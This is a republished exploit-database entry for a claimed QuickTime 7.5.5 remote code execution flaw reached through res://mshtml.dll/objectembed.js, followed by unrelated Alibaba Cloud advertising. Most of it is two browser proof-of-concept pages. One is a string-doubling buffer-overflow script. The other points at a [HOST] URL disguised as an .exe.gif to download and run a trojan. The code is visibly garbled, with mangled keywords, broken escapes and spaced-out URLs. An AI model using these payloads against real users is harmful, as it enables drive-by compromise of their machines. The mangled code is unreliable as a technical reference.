QuickTime is a powerful Audio and Video Player produced by Apple. QuickTime v7.5.5 has a security vulnerability when calling and processing resource res: // mshtml. dll/objectembed. js, which may cause remote execution of arbitrary code.
[+] Info:
~~~~~~~~~
# Title: (Firefox & Safari & IE) + QuickTime res: // mshtml. dll/Remote Exploits
# Author: KedAns-Dz
# E-mail: ked-h@hotmail.com | ked-h@exploit-id.com
# Home: HMD/AM (0, 30008/04300)-Algeria-(00213555248701)
# Web Site: www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page: twitter.com/kedans
# Platform: Windows
# Impact: Remote {Buffer Overflow + Download/Exec File (Tr0j4n3 )}
# Tested on: Windows XP SP3 Fr (Firefox 4.0 + Safari 4.0.5 & IE7) <QuickTime v7.5.5
[+] Poc:
~~~~~~~~~
#======= [PoC (1) Buffer Overflow & Crash!] ==============>
<Html> <Script src = "res: // mshtml. dll/objectembed. js"> </script>
<Script language = "javascript">
Function boom ()
{
Var longunistring1 = unescape ("% u4141 % u4141 ");
Var longunistring2 = unescape ("% u1_2 % u1_2 ");
Var longunistring3 = unescape ("% u4343 % u4343 ");
Var longunistring4 = unescape ("% u4444 % u4444 ");
For (I = 0; I <= 999; ++ I)
{
Longunistring1 + = longunistring1;
Longunistring2 + = longunistring2;
Longunistring3 + = longunistring3;
Longunistring4 + = longunistring4;
Document. write (longunistring1 );
Document. write (longunistring2 );
Document. write (longunistring3 );
Document. write (longunistring4 );
}
Document. write (longunistring1 );
Document. write (longunistring2 );
Document. write (longunistring3 );
Document. write (longunistring4 );
Document. write (document. body. innerHTML );
}
Var objectSource = boom ();
</Script>
</Head>
<Body onload = "ObjectLoad ();" leftmargin = "0" topmargin = "0" scroll = "no">
<Form id = "objectDestination"> </form> </body>
</Html>
#======= [PoC (2) Download/Exec File] ================>
<Html> <Script src = "res: // mshtml. dll/objectembed. js"> </script>
<Script language = "javascript">
Var objectSource = "http: // [HOST]/sharefile=.exe.gif ";
</Script>
</Head>
<Body onload = "ObjectLoad ();" leftmargin = "0" topmargin = "0" scroll = "no">
<Form id = "objectDestination"> </form> </body>
</Html>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
